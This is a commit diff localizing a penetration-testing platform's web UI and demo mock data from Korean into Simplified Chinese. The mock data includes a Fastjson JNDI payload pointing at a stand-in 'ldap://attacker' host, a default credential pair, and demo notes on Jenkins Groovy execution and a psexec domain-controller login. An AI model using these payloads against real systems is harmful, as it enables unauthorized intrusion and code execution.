Localize user-facing UI, agent output, and backend messages to Simplified Chinese
ci / go (push) Waiting to run
ci / go-db (agent) (push) Waiting to run
ci / go-db (config) (push) Waiting to run
ci / go-db (db) (push) Waiting to run
ci / go-db (evidence) (push) Waiting to run
ci / go-db (llmrec) (push) Waiting to run
ci / go-db (server) (push) Waiting to run
detections / detections (push) Waiting to run
docs / links (push) Waiting to run
web / web (push) Waiting to run

This commit is contained in:
dela
2026-10-09 14:08:31 +08:00
parent 8af63417c8
commit 97668dab7e
148 changed files with 1671 additions and 1672 deletions
+2 -2
View File
@@ -469,7 +469,7 @@ function DraftChat({
<div className="bg-primary/10 flex size-12 items-center justify-center rounded-full">
<Bot className="text-primary size-6" />
</div>
<div className="text-sm font-medium">{t("emptyStart", { agent: agent?.name ?? "에이전트" })}</div>
<div className="text-sm font-medium">{t("emptyStart", { agent: agent?.name ?? "Agent" })}</div>
{agent?.description && <p className="text-muted-foreground max-w-md text-xs">{agent.description}</p>}
</div>
@@ -1257,7 +1257,7 @@ export default function ChatPage() {
if (agentFilter !== null) keys.add(agentFilter);
return [...keys]
.map((key) => ({ key, name: agentByKey.get(key)?.name || key, count: counts.get(key) ?? 0 }))
.sort((a, b) => a.name.localeCompare(b.name, "ko"));
.sort((a, b) => a.name.localeCompare(b.name, "zh"));
}, [convs, chatAgents, agentByKey, agentFilter]);
const conversationCountLabel =
agentFilter === null
+1 -1
View File
@@ -1690,7 +1690,7 @@ function TaskArchivesPanel({ onChanged }: { onChanged: () => void }) {
let restored = false;
states.forEach((state, index) => {
if (state.status !== "rejected" || !(state.reason instanceof Error)) return;
if (!state.reason.message.includes("보관을 찾을 수 없습니다")) return;
if (!state.reason.message.includes("找不到归档")) return;
pendingRestoreIDs.current.delete(pending[index]);
restored = true;
});
+4 -4
View File
@@ -32,28 +32,28 @@ const MOCK_LOGS: LogLine[] = [
ts: "2026-07-26T03:56:10Z",
level: "info",
tag: "planner",
text: "task t-acme-web: 계획 3라운드, 의도 i-4 생성",
text: "task t-acme-web: 计划 3 轮,生成意图 i-4",
},
{
seq: 4,
ts: "2026-07-26T03:57:00Z",
level: "warn",
tag: "guard",
text: "block bash: 범위 이탈, out.evil.example 는 scope 밖",
text: "block bash: 范围越界,out.evil.example 不在 scope 内",
},
{
seq: 5,
ts: "2026-07-26T03:57:30Z",
level: "info",
tag: "work#1",
text: "report_finding: Default Credentials (high) 저장 완료",
text: "report_finding: Default Credentials (high) 保存完成",
},
{
seq: 6,
ts: "2026-07-26T03:58:20Z",
level: "error",
tag: "work#3",
text: "intercept: mysqldump 파괴적 규칙 적중, 사람 승인 대기",
text: "intercept: mysqldump 命中破坏性规则,等待人工审批",
},
];
+1 -1
View File
@@ -401,7 +401,7 @@ export default function SkillsPage() {
const msg = (e as Error).message;
// offer overwrite when the skill already exists
// (server_mgmt.go errMgmtSkillExistsPre 와 짝 맞춘 교차 스택 마커)
if (!overwrite && msg.includes("이미 존재")) {
if (!overwrite && msg.includes("已存在")) {
if (window.confirm(t("overwriteConfirm", { msg }))) {
await uploadZip(file, true);
return;
+1 -1
View File
@@ -189,7 +189,7 @@ function InterceptCard({ step, getDetail }: { step: Activity; getDetail: (seq: n
}, [step.summary]);
const toolName = React.useMemo(() => {
const m = /도구\s+(\S+)\s+승인/.exec(step.summary);
const m = /工具\s+(\S+)\s+审批/.exec(step.summary);
return m ? m[1] : step.summary;
}, [step.summary]);
+4 -4
View File
@@ -1,12 +1,12 @@
// 지원 locale 과 기본값. 이 저장소는 ARTEX 한국어판이므로 기본 locale 은 "ko" 이고,
// 원문 대조(상류 업데이트 비교)를 위해 중국어 "zh" 를 함께 둔다.
// 지원 locale 과 기본값. 이 저장소는 기본 locale 을 "zh" 로 두어 전체 UI 를 중국어로
// 강제하고, 원문 대조(상류 업데이트 비교)를 위해 한국어 "ko" 를 함께 둔다.
export const LOCALES = ["ko", "zh"] as const;
export type Locale = (typeof LOCALES)[number];
export const DEFAULT_LOCALE: Locale = "ko";
export const DEFAULT_LOCALE: Locale = "zh";
// 활성 locale 을 빌드 시점에 결정한다. 정적 내보내기(next.config 의 output: "export")와
// 호환되어야 하므로 cookies()·headers() 같은 동적 API 를 쓰지 않고 환경변수만 읽는다.
// NEXT_PUBLIC_LOCALE 이 비었거나 지원 목록 밖이면 기본값(ko)으로 떨어진다.
// NEXT_PUBLIC_LOCALE 이 비었거나 지원 목록 밖이면 기본값(zh)으로 떨어진다.
export function resolveLocale(): Locale {
const raw = process.env.NEXT_PUBLIC_LOCALE;
return LOCALES.includes(raw as Locale) ? (raw as Locale) : DEFAULT_LOCALE;
+23 -23
View File
@@ -127,7 +127,7 @@ export async function http<T>(path: string, init?: RequestInit): Promise<T> {
document.cookie = "artex_token=; path=/; max-age=0";
window.location.href = "/login";
}
throw new Error("인증되지 않았습니다");
throw new Error("未认证");
}
if (!r.ok) {
const fallback = `${init?.method ?? "GET"} ${path}: ${r.status}`;
@@ -164,25 +164,25 @@ export async function http<T>(path: string, init?: RequestInit): Promise<T> {
// Token is appended as ?token= because SSE can't carry cookies cross-origin.
// mockReport returns a canned Markdown report for the demo.
function mockReport(_task?: string): string {
return `# ARTEX 침투 테스트 보고서: Acme Corp
return `# ARTEX 渗透测试报告:Acme Corp
## 개요
- 범위: acme.com (www / admin / api / shop / vpn 서브도메인 포함)
- 확인된 발견: 6건 (고위험 3 · 중위험 3 · 저위험 2)
- 엔진 모드: exploring
## 概述
- 范围:acme.com(含 www / admin / api / shop / vpn 子域名)
- 已确认发现:6 项(高危 3 · 中危 3 · 低危 2)
- 引擎模式:exploring
## 주요 발견
1. **[높음] 백오피스 기본 비밀번호** admin.acme.com admin/admin123 → 백오피스를 완전히 장악할 수 있습니다.
2. **[높음] SQL 인젝션** www.acme.com/search?q= → acme_prod 데이터베이스를 읽을 수 있습니다.
3. **[높음] IDOR** api.acme.com/v1/orders?id= → 권한을 우회해 타인의 주문(휴대폰 번호/주소 포함)을 읽을 수 있습니다.
4. **[중간] 반사형 XSS**, **.git 소스 코드 노출**, **로그인 속도 제한 없음**.
## 主要发现
1. **[高危] 后台默认口令** admin.acme.com admin/admin123 → 可完全控制后台。
2. **[高危] SQL 注入** www.acme.com/search?q= → 可读取 acme_prod 数据库。
3. **[高危] IDOR** api.acme.com/v1/orders?id= → 可绕过权限读取他人订单(含手机号/地址)。
4. **[中危] 反射型 XSS**、**.git 源码泄露**、**登录接口无限速**。
## 권고
- 백오피스 비밀번호를 강제로 변경하고 MFA 를 활성화하며 기본 비밀번호를 차단합니다.
- search 엔드포인트에 파라미터화 쿼리를 적용하고 출력을 인코딩합니다.
- API 에 객체 수준 권한 검증(IDOR)을 추가하고 강력한 JWT 키로 교체합니다.
## 建议
- 强制更换后台口令,启用 MFA 并禁用默认口令。
- 对 search 端点使用参数化查询并对输出编码。
- 为 API 增加对象级权限校验(IDOR),并更换为强 JWT 密钥。
> (demo) 본 보고서는 mock 데이터로 생성되었으며 화면 데모용입니다.`;
> (demo) 本报告由 mock 数据生成,仅用于界面演示。`;
}
export function sseUrl(path: string): string {
@@ -447,19 +447,19 @@ export const api = {
headers: { ...(token ? { Authorization: `Bearer ${token}` } : {}) },
body: fd,
});
if (!r.ok) throw new Error(`업로드 실패: ${r.status}`);
if (!r.ok) throw new Error(`上传失败:${r.status}`);
return r.json() as Promise<{ uploaded: number }>;
},
workspaceDownload: async (path: string) => {
let blob: Blob;
if (MOCK) {
blob = new Blob([`(demo) ${path} 의 다운로드 내용 예시입니다.`], { type: "text/plain" });
blob = new Blob([`(demo) ${path} 的下载内容示例。`], { type: "text/plain" });
} else {
const token = getToken();
const r = await fetch(`/api/workspace/download?path=${encodeURIComponent(path)}`, {
headers: { ...(token ? { Authorization: `Bearer ${token}` } : {}) },
});
if (!r.ok) throw new Error(`다운로드 실패: ${r.status}`);
if (!r.ok) throw new Error(`下载失败:${r.status}`);
blob = await r.blob();
}
const objUrl = URL.createObjectURL(blob);
@@ -648,8 +648,8 @@ export const api = {
{ headers: token ? { Authorization: `Bearer ${token}` } : {} },
);
if (!response.ok) {
const error = await response.json().catch(() => ({ error: "다운로드 실패" }));
throw new Error(error.error ?? "다운로드 실패");
const error = await response.json().catch(() => ({ error: "下载失败" }));
throw new Error(error.error ?? "下载失败");
}
const blob = await response.blob();
const url = URL.createObjectURL(blob);
@@ -897,7 +897,7 @@ export const api = {
headers: { ...(token ? { Authorization: `Bearer ${token}` } : {}) },
body: fd,
});
if (!r.ok) throw new Error(`업로드 실패: ${r.status} ${await r.text()}`);
if (!r.ok) throw new Error(`上传失败:${r.status} ${await r.text()}`);
return r.json() as Promise<{ attachments: ChatAttachment[] }>;
},
stopChat: (taskId: string) => post<{ status: string }>(`/tasks/${taskId}/chat/stop`, {}),
@@ -1158,7 +1158,7 @@ export const api = {
headers: token ? { Authorization: `Bearer ${token}` } : {},
});
const body = await r.json().catch(() => ({}));
if (!r.ok) throw new Error(body?.error || `업로드 실패(${r.status})`);
if (!r.ok) throw new Error(body?.error || `上传失败(${r.status})`);
return body;
},
deleteSkill: (name: string) => del<{ deleted: string }>(`/skills/${name}`),
+8 -8
View File
@@ -149,21 +149,21 @@ export function companyScopeRuleError(rule: CompanyScopeRule): CompanyScopeError
export function companyScopeErrorText(code: CompanyScopeErrorCode | "" | undefined): string {
switch (code) {
case "empty":
return "범위 값을 입력해 주세요";
return "请填写范围值";
case "tooLong":
return `최대 ${MAX_COMPANY_SCOPE_VALUE_LENGTH}자까지 입력할 수 있습니다`;
return `最多 ${MAX_COMPANY_SCOPE_VALUE_LENGTH} 个字符`;
case "domainSpace":
return "공백 없이 유효한 도메인 또는 URL을 입력해 주세요";
return "请输入不含空格的有效域名或 URL";
case "domainInvalid":
return "유효한 도메인 또는 URL을 입력해 주세요";
return "请输入有效域名或 URL";
case "ipInvalid":
return "유효한 IP를 입력해 주세요";
return "请输入有效 IP";
case "cidrInvalid":
return "유효한 CIDR 대역을 입력해 주세요";
return "请输入有效 CIDR 网段";
case "cidrPrefixV4":
return "IPv4 대역 프리픽스는 /16 ~ /32 범위여야 합니다";
return "IPv4 网段前缀需为 /16 至 /32";
case "cidrPrefixV6":
return "IPv6 대역 프리픽스는 /32 ~ /128 범위여야 합니다";
return "IPv6 网段前缀需为 /32 至 /128";
default:
return "";
}
+355 -366
View File
File diff suppressed because it is too large Load Diff
+116 -116
View File
@@ -67,24 +67,24 @@ interface MockBindingSeed {
// 每条漏洞预置的流量证据(finding id → 绑定的抓包)。选取与漏洞语义对应的请求,
// 让 demo 详情页的「关联流量」区块看起来真实。
const mockFindingTrafficSeeds: Record<string, MockBindingSeed[]> = {
"f-1": [{ traffic_id: "x-2", role: "proof", note: "q 파라미터 인젝션 payload 로 응답에 MSSQL 오류가 에코됐다." }],
"f-1": [{ traffic_id: "x-2", role: "proof", note: "通过 q 参数注入 payload,响应中回显了 MSSQL 错误。" }],
"f-2": [
{ traffic_id: "x-8", role: "baseline", note: "본인 주문 id=1001, 정상 대조군으로 사용했다." },
{ traffic_id: "x-9", role: "proof", note: "id=1002 로 바꿔 권한 우회로 타인의 주문을 읽어냈다." },
{ traffic_id: "x-8", role: "baseline", note: "本人订单 id=1001,用作正常对照组。" },
{ traffic_id: "x-9", role: "proof", note: "将 id 改为 1002,通过权限绕过读取了他人订单。" },
],
"f-12": [
{ traffic_id: "x-15", role: "proof", note: "Fastjson @type JNDI payload 로 역방향 연결을 유발했다." },
{ traffic_id: "x-16", role: "verification", note: "두 번째 요청으로 명령 실행이 성립했음을 확인했다." },
{ traffic_id: "x-15", role: "proof", note: "使用 Fastjson @type JNDI payload 触发了反向连接。" },
{ traffic_id: "x-16", role: "verification", note: "通过第二次请求确认命令执行成立。" },
],
"f-15": [
{ traffic_id: "x-17", role: "baseline", note: "Jenkins Script Console 에 미인증으로 접근 가능하다." },
{ traffic_id: "x-18", role: "proof", note: "scriptText 로 Groovy 명령을 실행해 SYSTEM 을 반환받았다." },
{ traffic_id: "x-17", role: "baseline", note: "可未授权访问 Jenkins Script Console。" },
{ traffic_id: "x-18", role: "proof", note: "通过 scriptText 执行 Groovy 命令,返回了 SYSTEM。" },
],
"f-17": [
{
traffic_id: "x-19",
role: "proof",
note: "psexec 로 svc_deploy 계정을 사용해 도메인 컨트롤러 DC01 에 로그인했다.",
note: "使用 psexec 以 svc_deploy 账号登录域控制器 DC01。",
},
],
};
@@ -98,7 +98,7 @@ const mockEvidenceBodies: Record<string, { req: string; resp: string }> = {
"x-8": { req: "", resp: '{"order_id":1001,"user_id":42,"amount":199.00}' },
"x-9": {
req: "",
resp: '{"order_id":1002,"user_id":77,"amount":1299.00,"address":"서울시 강남구 ****","phone":"138****6021"}',
resp: '{"order_id":1002,"user_id":77,"amount":1299.00,"address":"北京市朝阳区 ****","phone":"138****6021"}',
},
"x-15": {
req: '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker/Exploit","autoCommit":true}',
@@ -185,9 +185,9 @@ function advanceMockRetests() {
if (Date.now() - Date.parse(retest.created_at) < 15000) continue;
retest.status = "completed";
retest.verdict = "inconclusive";
retest.summary = "데모 환경에서는 실제 검증을 수행하지 않아, 취약점의 현재 상태를 확인할 수 없습니다.";
retest.summary = "演示环境不执行实际验证,无法确认漏洞的当前状态。";
retest.evidence =
"### 데모 기록\n\n원래 취약점과 연결했습니다. 이 환경은 실제 Agent 에 연결되어 있지 않고 대상에 요청도 보내지 않으므로, 실제 배포 환경에서 재검증을 수행하세요.";
"### 演示记录\n\n已与原漏洞关联。该环境未连接真实 Agent,也不会向目标发送请求,请在真实部署环境中执行复测。";
retest.finished_at = new Date().toISOString();
mockRetestMessages[retest.conversation_id].push({
seq: 3,
@@ -205,7 +205,7 @@ function stopMockRetest(conversationID: number) {
if (retest.conversation_id !== conversationID || !["pending", "running"].includes(retest.status)) continue;
retest.status = "stopped";
retest.finished_at = new Date().toISOString();
retest.error = "데모 재검증이 중지되었습니다";
retest.error = "演示复测已停止";
}
}
const mockIntents = structuredClone(D.intents);
@@ -266,14 +266,14 @@ function publicMockTask(task: Task): Task {
function mockArchiveTask(taskID: string): MockTaskArchive {
const task = mockTasks.find((item) => item.id === taskID);
if (!task) throw new Error("작업을 찾을 수 없습니다");
if (!task) throw new Error("找不到任务");
if (!["paused", "done", "failed", "timeout"].includes(task.status) && !task.paused) {
throw new Error(
task.queued ? "대기열에 있는 작업은 먼저 일시정지해야 합니다" : "실행 중인 작업은 먼저 일시정지해야 합니다",
task.queued ? "队列中的任务需先暂停" : "运行中的任务需先暂停",
);
}
const existing = mockTaskArchives.find((item) => item.task_id === mockArchiveTaskID(taskID));
if (existing) throw new Error("작업이 이미 보관 대기열에 있습니다");
if (existing) throw new Error("任务已在归档队列中");
const dependent = mockTasks.find(
(candidate) =>
candidate.id !== taskID &&
@@ -286,7 +286,7 @@ function mockArchiveTask(taskID: string): MockTaskArchive {
);
if (dependent)
throw new Error(
`아직 보관되지 않은 작업 #${dependent.id}이(가) 이 작업을 직접 이어받고 있어 지금은 보관할 수 없습니다`,
`尚未归档的任务 #${dependent.id} 正在直接接管该任务,当前无法归档`,
);
const numericTaskID = mockArchiveTaskID(taskID);
@@ -304,7 +304,7 @@ function mockArchiveTask(taskID: string): MockTaskArchive {
id: nextMockTaskArchiveID++,
task_id: numericTaskID,
state: "archive_queued",
phase: "보관 대기 중",
phase: "等待归档",
progress: 0,
format_version: 1,
original_size: 0,
@@ -344,14 +344,14 @@ function mockArchiveTask(taskID: string): MockTaskArchive {
setTimeout(() => {
if (archive.state !== "archive_queued") return;
archive.state = "archiving";
archive.phase = "작업 데이터 압축 중";
archive.phase = "正在压缩任务数据";
archive.progress = 55;
archive.updated_at = new Date().toISOString();
}, 100);
setTimeout(() => {
if (archive.state !== "archiving" && archive.state !== "archive_queued") return;
archive.state = "ready";
archive.phase = "보관 완료";
archive.phase = "归档完成";
archive.progress = 100;
archive.archived_at = new Date().toISOString();
archive.updated_at = archive.archived_at;
@@ -371,16 +371,16 @@ function mockArchiveTask(taskID: string): MockTaskArchive {
function mockRestoreArchive(archive: MockTaskArchive): void {
if (archive.state !== "ready" && archive.state !== "restore_failed")
throw new Error("현재 보관 상태에서는 복원할 수 없습니다");
throw new Error("当前归档状态下无法恢复");
archive.state = "restore_queued";
archive.phase = "복원 대기 중";
archive.phase = "等待恢复";
archive.progress = 0;
archive.error = undefined;
archive.updated_at = new Date().toISOString();
setTimeout(() => {
if (archive.state !== "restore_queued") return;
archive.state = "restoring";
archive.phase = "작업 데이터 복원 중";
archive.phase = "正在恢复任务数据";
archive.progress = 60;
archive.updated_at = new Date().toISOString();
}, 100);
@@ -406,21 +406,21 @@ function mockRestoreArchive(archive: MockTaskArchive): void {
function mockDeleteArchive(archive: MockTaskArchive): void {
if (archive.state !== "ready" && archive.state !== "delete_failed")
throw new Error("현재 보관 상태에서는 영구 삭제할 수 없습니다");
throw new Error("当前归档状态下无法永久删除");
const dependent = mockTaskArchives.find(
(candidate) => candidate.id !== archive.id && candidate.source_task_ids.includes(archive.task_id),
);
if (dependent)
throw new Error(`이 보관을 아직 작업 #${dependent.task_id}이(가) 의존하고 있어 영구 삭제할 수 없습니다`);
throw new Error(`仍有任务 #${dependent.task_id} 依赖该归档,无法永久删除`);
archive.state = "delete_queued";
archive.phase = "영구 삭제 대기 중";
archive.phase = "等待永久删除";
archive.progress = 0;
archive.error = undefined;
archive.updated_at = new Date().toISOString();
setTimeout(() => {
if (archive.state !== "delete_queued") return;
archive.state = "deleting";
archive.phase = "보관 패키지 삭제 중";
archive.phase = "正在删除归档包";
archive.progress = 70;
}, 100);
setTimeout(() => {
@@ -670,7 +670,7 @@ function mockBuildAssetTree(list: (typeof mockFindings)[number][]): MockAssetTre
const unassigned: MockAssetTreeNode = {
key: UNASSIGNED_ASSET,
kind: "none",
label: "미연결 자산",
label: "未关联资产",
self: 0,
total: 0,
critical: 0,
@@ -817,7 +817,7 @@ function mockScopeRows(
function mockProfileResolution(profileID: number | undefined, source: TaskLLMResolution["source"]): TaskLLMResolution {
const profile = D.llmProfiles.find((item) => Number(item.id) === profileID);
if (!profile) {
return { name: "", format: "", model: "", source, available: false, reason: "LLM 설정을 찾을 수 없습니다" };
return { name: "", format: "", model: "", source, available: false, reason: "找不到 LLM 配置" };
}
return {
profile_id: Number(profile.id),
@@ -826,7 +826,7 @@ function mockProfileResolution(profileID: number | undefined, source: TaskLLMRes
model: profile.model,
source,
available: Boolean(profile.api_key_hint),
reason: profile.api_key_hint ? undefined : "LLM 설정에 API Key 가 지정되지 않았습니다",
reason: profile.api_key_hint ? undefined : "LLM 配置未指定 API Key",
};
}
@@ -846,7 +846,7 @@ function mockRoleResolution(task: Task, agentKey: "mainagent" | "planner" | "wor
model: "",
source: "task_chain",
available: false,
reason: "작업 LLM 설정 체인의 할당량을 모두 소진했습니다",
reason: "任务 LLM 配置链的配额已全部耗尽",
};
}
return mockProfileResolution(task.active_llm_profile_id, "task_chain");
@@ -854,7 +854,7 @@ function mockRoleResolution(task: Task, agentKey: "mainagent" | "planner" | "wor
const globalProfile = D.llmProfiles.find((item) => item.is_default);
if (globalProfile) return mockProfileResolution(Number(globalProfile.id), "global_profile");
return {
name: "전역 설정",
name: "全局配置",
format: D.llmConfig.provider,
model: D.llmConfig.model,
source: "environment",
@@ -865,7 +865,7 @@ function mockRoleResolution(task: Task, agentKey: "mainagent" | "planner" | "wor
function bodyIDs(value: unknown): string[] {
if (!Array.isArray(value)) return [];
const ids = [...new Set(value.map((item) => String(item)).filter(Boolean))];
if (ids.length > 100) throw new Error("일괄 작업은 한 번에 최대 100개 ID까지 지원합니다");
if (ids.length > 100) throw new Error("批量操作一次最多支持 100 个 ID");
return ids;
}
@@ -882,10 +882,10 @@ let nextMockWorkerMessageActivitySeq = mockActivity.reduce((maximum, item) => Ma
function controlMockIntent(id: string, action: "pause" | "resume"): MockIntentControlResult {
const intent = mockIntents.find((item) => item.id === id);
if (!intent) return { ok: false, error: "의도를 찾을 수 없습니다" };
if (!intent) return { ok: false, error: "找不到意图" };
const requiredState = action === "pause" ? "running" : "paused";
if (intent.inherited || intent.state !== requiredState) {
return { ok: false, state: intent.state, error: "Worker 상태가 변경되었습니다" };
return { ok: false, state: intent.state, error: "Worker 状态已变更" };
}
intent.state = action === "pause" ? "paused" : "open";
return { ok: true, state: intent.state };
@@ -898,11 +898,11 @@ function sendMockWorkerMessage(
): MockIntentControlResult & { activitySeq?: number; requestId?: string } {
const normalizedMessage = message.trim();
const normalizedRequestId = requestId.trim();
if (!normalizedRequestId) return { ok: false, error: "request_id 는 비워 둘 수 없습니다" };
if (!normalizedRequestId) return { ok: false, error: "request_id 不能为空" };
const previous = mockWorkerMessages.get(normalizedRequestId);
if (previous) {
if (previous.intentId !== id || previous.message !== normalizedMessage) {
return { ok: false, error: "request_id 가 다른 Worker 메시지에 이미 사용되었습니다" };
return { ok: false, error: "request_id 已被其他 Worker 消息使用" };
}
return {
ok: true,
@@ -912,17 +912,17 @@ function sendMockWorkerMessage(
};
}
const intent = mockIntents.find((item) => item.id === id);
if (!intent) return { ok: false, error: "의도를 찾을 수 없습니다" };
if (!intent) return { ok: false, error: "找不到意图" };
if (intent.inherited || intent.state !== "paused") {
return {
ok: false,
state: intent.state,
error: "일시정지된 Worker 에게만 메시지를 보낼 수 있습니다. 먼저 일시정지하세요",
error: "只能向已暂停的 Worker 发送消息,请先暂停",
};
}
if (!normalizedMessage) return { ok: false, state: intent.state, error: "메시지는 비워 둘 수 없습니다" };
if (!normalizedMessage) return { ok: false, state: intent.state, error: "消息不能为空" };
if (Array.from(normalizedMessage).length > 4000) {
return { ok: false, state: intent.state, error: "메시지는 4000자를 초과할 수 없습니다" };
return { ok: false, state: intent.state, error: "消息不能超过 4000 个字符" };
}
// The real endpoint transitions the intent paused->running, records the user turn,
@@ -956,13 +956,13 @@ function sendMockWorkerMessage(
function controlMockTask(id: string, action: "pause" | "resume"): BatchControlItem {
const task = mockTasks.find((item) => item.id === id);
if (!task) return { id, ok: false, error: "작업을 찾을 수 없습니다" };
if (!task) return { id, ok: false, error: "找不到任务" };
if (task.status === "done" || task.status === "failed" || task.status === "timeout") {
return { id, ok: false, status: task.status, error: "종료 상태 작업은 제어할 수 없습니다" };
return { id, ok: false, status: task.status, error: "无法控制已终止状态的任务" };
}
if (action === "pause") {
if (task.paused || task.status === "paused") {
return { id, ok: false, status: task.status, error: "작업이 이미 일시정지되었습니다" };
return { id, ok: false, status: task.status, error: "任务已暂停" };
}
task.paused = true;
task.queued = false;
@@ -970,7 +970,7 @@ function controlMockTask(id: string, action: "pause" | "resume"): BatchControlIt
task.engine_mode = "paused";
} else {
if (!task.paused && task.status !== "paused") {
return { id, ok: false, status: task.status, error: "작업이 일시정지되지 않았습니다" };
return { id, ok: false, status: task.status, error: "任务未暂停" };
}
task.paused = false;
task.queued = false;
@@ -1041,14 +1041,14 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
label: finding.name || finding.vulnclass,
description: `${finding.severity} · ${finding.summary}`,
})),
...D.companies.map((company) => ({ kind: "company", id: company.id, label: company.name, description: "기업" })),
...D.companies.map((company) => ({ kind: "company", id: company.id, label: company.name, description: "企业" })),
...D.assets.map((asset) => ({
kind: asset.type,
id: asset.id,
label:
asset.type === "endpoint"
? `${asset.method || "GET"} ${asset.url}`
: asset.app_name || asset.url || asset.domain || asset.ip || asset.bundle_id || `자산 #${asset.id}`,
: asset.app_name || asset.url || asset.domain || asset.ip || asset.bundle_id || `资产 #${asset.id}`,
description: [asset.type, asset.page_title, asset.service_name, asset.bundle_id, asset.ip]
.filter(Boolean)
.join(" · "),
@@ -1103,18 +1103,18 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
}
if (seg[0] === "task-archives" && seg.length === 2 && m === "GET") {
const archive = mockTaskArchives.find((item) => item.id === Number(seg[1]));
if (!archive) throw new Error("보관을 찾을 수 없습니다");
if (!archive) throw new Error("找不到归档");
return publicMockTaskArchive(archive);
}
if (seg[0] === "task-archives" && seg[2] === "restore" && seg.length === 3 && m === "POST") {
const archive = mockTaskArchives.find((item) => item.id === Number(seg[1]));
if (!archive) throw new Error("보관을 찾을 수 없습니다");
if (!archive) throw new Error("找不到归档");
mockRestoreArchive(archive);
return publicMockTaskArchive(archive);
}
if (seg[0] === "task-archives" && seg.length === 2 && m === "DELETE") {
const archive = mockTaskArchives.find((item) => item.id === Number(seg[1]));
if (!archive) throw new Error("보관을 찾을 수 없습니다");
if (!archive) throw new Error("找不到归档");
mockDeleteArchive(archive);
return publicMockTaskArchive(archive);
}
@@ -1123,7 +1123,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
const items = ids.map<ArchiveBatchItem>((id) => {
const archive = mockTaskArchives.find((item) => item.id === id);
if (!archive)
return { id: String(id), archive_id: id, ok: false, queued: false, error: "보관을 찾을 수 없습니다" };
return { id: String(id), archive_id: id, ok: false, queued: false, error: "找不到归档" };
try {
mockRestoreArchive(archive);
return { id: String(id), archive_id: id, ok: true, queued: true };
@@ -1138,7 +1138,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
const items = ids.map<ArchiveBatchItem>((id) => {
const archive = mockTaskArchives.find((item) => item.id === id);
if (!archive)
return { id: String(id), archive_id: id, ok: false, queued: false, error: "보관을 찾을 수 없습니다" };
return { id: String(id), archive_id: id, ok: false, queued: false, error: "找不到归档" };
try {
mockDeleteArchive(archive);
return { id: String(id), archive_id: id, ok: true, queued: true };
@@ -1176,7 +1176,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
}
}
return {
items: requested.map((id) => byID.get(id) ?? { id, ok: false, queued: false, error: "작업을 찾을 수 없습니다" }),
items: requested.map((id) => byID.get(id) ?? { id, ok: false, queued: false, error: "找不到任务" }),
};
}
if (seg[0] === "tasks" && seg[2] === "archive" && seg.length === 3 && m === "POST") {
@@ -1197,17 +1197,17 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
const sourceTaskIDs = [...((b.source_task_ids as string[] | undefined) ?? [])];
const companyIDs = [...new Set((b.company_ids as number[] | undefined) ?? [])];
if (companyIDs.some((companyID) => !mockCompanies.some((company) => company.id === companyID))) {
throw new Error("연결된 기업이 없거나 유효하지 않습니다");
throw new Error("未关联企业或企业无效");
}
const categoryID = typeof b.category_id === "number" ? b.category_id : undefined;
const category = categoryID === undefined ? undefined : mockTaskCategories.find((item) => item.id === categoryID);
if (categoryID !== undefined && !category) throw new Error("작업 분류를 찾을 수 없습니다");
if (categoryID !== undefined && !category) throw new Error("找不到任务分类");
const created: Task = {
id,
name: String(b.name ?? ""),
category_id: category?.id,
category_name: category?.name,
description: String(b.description ?? "새 작업"),
description: String(b.description ?? "新任务"),
goal: String(b.goal ?? ""),
status: "created",
created_at: now.toISOString(),
@@ -1237,7 +1237,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
const company = mockCompanies.find((candidate) => candidate.id === asset.company_id);
setMockTaskAssetSource(id, asset.id, {
task_source: "company",
task_source_summary: `작업 생성 시 연결된 회사: ${company?.name ?? `#${asset.company_id}`}`,
task_source_summary: `创建任务时关联的公司:${company?.name ?? `#${asset.company_id}`}`,
task_source_node_id: undefined,
});
}
@@ -1249,9 +1249,9 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
if (path === "/task-categories" && m === "GET") return { categories: mockTaskCategorySnapshot() };
if (path === "/task-categories" && m === "POST") {
const name = normalizedTemplateName(b.name);
if (!name) throw new Error("분류 이름은 비워 둘 수 없습니다");
if (!name) throw new Error("分类名称不能为空");
if (mockTaskCategories.some((category) => category.name.toLowerCase() === name.toLowerCase())) {
throw new Error("이미 존재하는 분류 이름입니다");
throw new Error("该分类名称已存在");
}
const now = new Date().toISOString();
const category: TaskCategory = {
@@ -1266,11 +1266,11 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
}
if (seg[0] === "task-categories" && seg.length === 2 && m === "PATCH") {
const category = mockTaskCategories.find((item) => item.id === Number(seg[1]));
if (!category) throw new Error("작업 분류를 찾을 수 없습니다");
if (!category) throw new Error("找不到任务分类");
const name = normalizedTemplateName(b.name);
if (!name) throw new Error("분류 이름은 비워 둘 수 없습니다");
if (!name) throw new Error("分类名称不能为空");
if (mockTaskCategories.some((item) => item.id !== category.id && item.name.toLowerCase() === name.toLowerCase())) {
throw new Error("이미 존재하는 분류 이름입니다");
throw new Error("该分类名称已存在");
}
category.name = name;
category.updated_at = new Date().toISOString();
@@ -1282,7 +1282,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
if (seg[0] === "task-categories" && seg.length === 2 && m === "DELETE") {
const categoryID = Number(seg[1]);
const index = mockTaskCategories.findIndex((item) => item.id === categoryID);
if (index < 0) throw new Error("작업 분류를 찾을 수 없습니다");
if (index < 0) throw new Error("找不到任务分类");
mockTaskCategories.splice(index, 1);
for (const task of mockTasks) {
if (task.category_id !== categoryID) continue;
@@ -1294,10 +1294,10 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
if (path === "/tasks/category/batch" && m === "POST") {
const requested = Array.isArray(b.task_ids) ? b.task_ids.map(String) : [];
const taskIDs = [...new Set(requested)];
if (taskIDs.length === 0 || taskIDs.length > 100) throw new Error("task_ids 개수는 1~100 이어야 합니다");
if (taskIDs.length === 0 || taskIDs.length > 100) throw new Error("task_ids 数量须为 1~100");
const categoryID = typeof b.category_id === "number" ? b.category_id : undefined;
const category = categoryID === undefined ? undefined : mockTaskCategories.find((item) => item.id === categoryID);
if (categoryID !== undefined && !category) throw new Error("작업 분류를 찾을 수 없습니다");
